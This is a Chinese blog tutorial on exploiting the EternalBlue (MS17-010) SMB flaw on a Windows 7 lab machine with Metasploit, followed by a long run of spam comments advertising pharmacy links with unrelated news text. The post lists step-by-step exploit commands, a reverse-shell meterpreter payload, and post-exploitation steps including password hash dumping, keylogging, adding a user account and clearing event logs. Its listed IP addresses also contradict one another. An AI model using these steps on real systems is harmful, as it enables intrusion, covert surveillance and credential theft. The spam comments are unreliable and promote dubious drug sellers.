入侵445端口-永恒之蓝漏洞利用-Metasploit

永恒之蓝

 

WannaCry勒索软件中,利用了NSA泄露工具中的“永恒之蓝”漏洞

445端口就是永恒之蓝的入口

我们利用kali里面的Metapsloit工具进行渗透测试(不知道Metasploit百度一下)

测试环境如下

kali的IP:192.168.113.166

win7靶机IP:192.168.84.130

利用模块:ms17_010_eternalblue

 

1.kali打开Metasploit

1.在终端输入(输入几个字母按Tab键可以自动补全)

msfconsole

2019-11-04 08-18-41 的屏幕截图.png

2.打开模块(输入几个字母按Tab键可以自动补全)

use exploit/windows/smb/ms17_010_eternalblue

2019-11-04 08-20-00 的屏幕截图.png

3.设置输入win7靶机IP地址

set RHOSTS 192.168.9.51

2019-11-04 08-22-50 的屏幕截图.png

4.设置攻击负载模块

set payload windows/x64/meterpreter/reverse_tcp

2019-11-04 08-23-46 的屏幕截图.png

5.设置kali的IP

set LHOST 192.168.119.98

2019-11-04 08-25-07 的屏幕截图.png

6.设置监听端口

set LPORT 5555

2019-11-04 08-25-30 的屏幕截图.png

 

7.开始执行模块

exploit

2019-11-04 08-25-54 的屏幕截图.png

8.成功入侵win7靶机

2019-11-04 08-26-46 的屏幕截图.png

(1)我们可以查看他的账户密码的加密值

hashdump

2019-11-04 08-27-05 的屏幕截图.png

 

(2)我们也可以查看他目前屏幕在做什么

screenhot

2019-11-04 08-27-39 的屏幕截图.png

(3)也可以记录他的键盘

keyscan_start 

下载键盘记录

keyscan_dump 

或者上传个木马之类的,总之有很多功能来利用,具体的可以百度查查

(4)获取该计算机已经登陆的账户密码

Kerberos

(5)开启3389端口

 

(6)获取该计算机的超级管理员权限

shell

2019-11-04 08-28-50 的屏幕截图.png

然后可以执行cmd命令

添加一个帐号

net user test 123456 /add

2019-11-04 08-30-17 的屏幕截图.png

升级为管理员帐号

2019-11-04 08-33-49 的屏幕截图.png

也可以执行一些你想要的命令

exit  //退出shell
clearev    //清楚操作日志

2019-11-04 08-35-23 的屏幕截图.png

 

 

445端口永恒之蓝,是个非常危险的漏洞,如果你计算机上也有这个漏洞,不想被看光隐私的话不妨打个补丁

http://www.catalog.update.microsoft.com/search.aspx?q=kb4012212

 

--小顾

本博客所有文章如无特别注明均为原创。作者:GS小顾复制或转载请以超链接形式注明转自 世纪博客
原文地址《入侵445端口-永恒之蓝漏洞利用-Metasploit
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(17325)

I work for a publishers <a href="http://santafyme.com/pharmacy/index.php/is-150-mg-of-synthroid-a-lot-y0i8">synthroid 0.05 mg tablets</a>  Maria Ponce, 76, stands inside her house made out of plastic bottles in the village of El Borbollon, San Miguel Province, El Salvador. Maria built up the house with plastic bottles because she did not have enough money to build a regular house.
Winfred 2个月前(08-30) 回复
Pleased to meet you <a href="http://lcmfa.com/cost-valtrex-7non">order valacyclovir</a>  But Spieth stumbled with a bogey at the 17th after hitting his approach into a plugged lie in a greenside bunker and Stenson regained a three-stroke cushion with a birdie at the par-five 15th, where he got up and down from behind the green.
Brianna 2个月前(08-30) 回复
Can I use your phone? <a href="https://sirgentlemandriver.com/maxidus-canada-tczh">buy maxidus canada
</a>  Concern about the possibility of a default was seen afterTuesday morning's weak auction of four-week Treasury bills,which sold at their highest rate in 10 months. These billsmature after the debt ceiling would be breached, so the 0.12percent rate is suggestive of worries.
Kieth 2个月前(08-30) 回复
I can't stand football <a href="http://twinforms.com/products/index.php/etodolac-rxlist-ae77.pdf">etodolac rxlist
</a>  Coordinated attacks by the government, monks and even civilians have resulted in killing, burning and making homeless tens of thousands of Rohingya, according to the group; even children have not been spared. “Hog-tied” corpses have been buried in mass graves and young women raped. Desperately needed humanitarian aid has been denied.
Graham 2个月前(08-30) 回复
I was made redundant two months ago <a href="https://explosivefunctionalfitness.com/everlasting-travel-hours-359b.pdf">everlasting travel hours</a>  "Once Upon a Time in Wonderland," a "Once Upon a Time" spinoff with Sophie Lowe as what ABC exec Paul Lee called "the most kick-ass Alice you&#39;ve ever seen," will air on Thursdays this fall.
Foster 2个月前(08-30) 回复
I study here <a href="https://novaprint.shop/purchasing-bimatoprost-in-the-ukulele-3msc">where can i buy bimatoprost over the counter in the uk</a>  "Lots of people will know the experience. When you&#039;re on maternity leave, you&#039;re trying to manage with a new baby. Feeling like you&#039;ve got to have a fight at work for yourself can be a really hard thing to do."
Johnathan 2个月前(08-30) 回复
We work together <a href="http://www.dentistitorino.net/100-mg-prozac-for-ocd-a4fe.pdf">prozac zoloft
</a>  In a video that is as fascinating as it is disturbing, the Giants quarterback teamed up with his quarterback brother Peyton in a rap video/commercial for DirecTV’s Sunday Ticket. In the three-minute spot, both Mannings dress up as stereotypical rappers – which for Eli included a curly wig and apparently fake tan – as they rap their way through the streets of New Orleans.
Darrin 2个月前(08-30) 回复
It's funny goodluck <a href="http://einwegmed-shop.com/strattera-coupons-discounts-5e76.pdf">strattera 100mg cost</a>  On Thursday the American Academy of Pediatrics and 14 otherpublic health organizations, including the American LungAssociation and American Heart Association, sent a letter toPresident Barack Obama urging him to pressure the FDA to issuethe new rules.
Lawerence 2个月前(08-30) 回复
I'm on business <a href="http://xpertpoin8.com/buy-omeprazole-powder-for-horses-5ba8.pdf">buy prilosec canada</a>  Google's results were not without blemishes, however. Operating losses at Motorola Mobility, the mobile business it paid $12.4bn for in May last year, widened by 29pc to $248m, despite deep cost cutting measures.
Agustin 2个月前(08-30) 回复
Could you ask him to call me? <a href="https://www.theboathousebarandgrill.com/motrin-800-mg-during-pregnancy-vszc">motrin otc dosage</a>  â€œI think of this planet in some ways as being about as alien a planet as you could possibly imagine,” astronomer Heather Knutson, with the California Institute of Technology (Caltech) in Pasadena, told Discovery News.
Charlotte 2个月前(08-30) 回复
1 2 3 4 5 6 7 8 ... »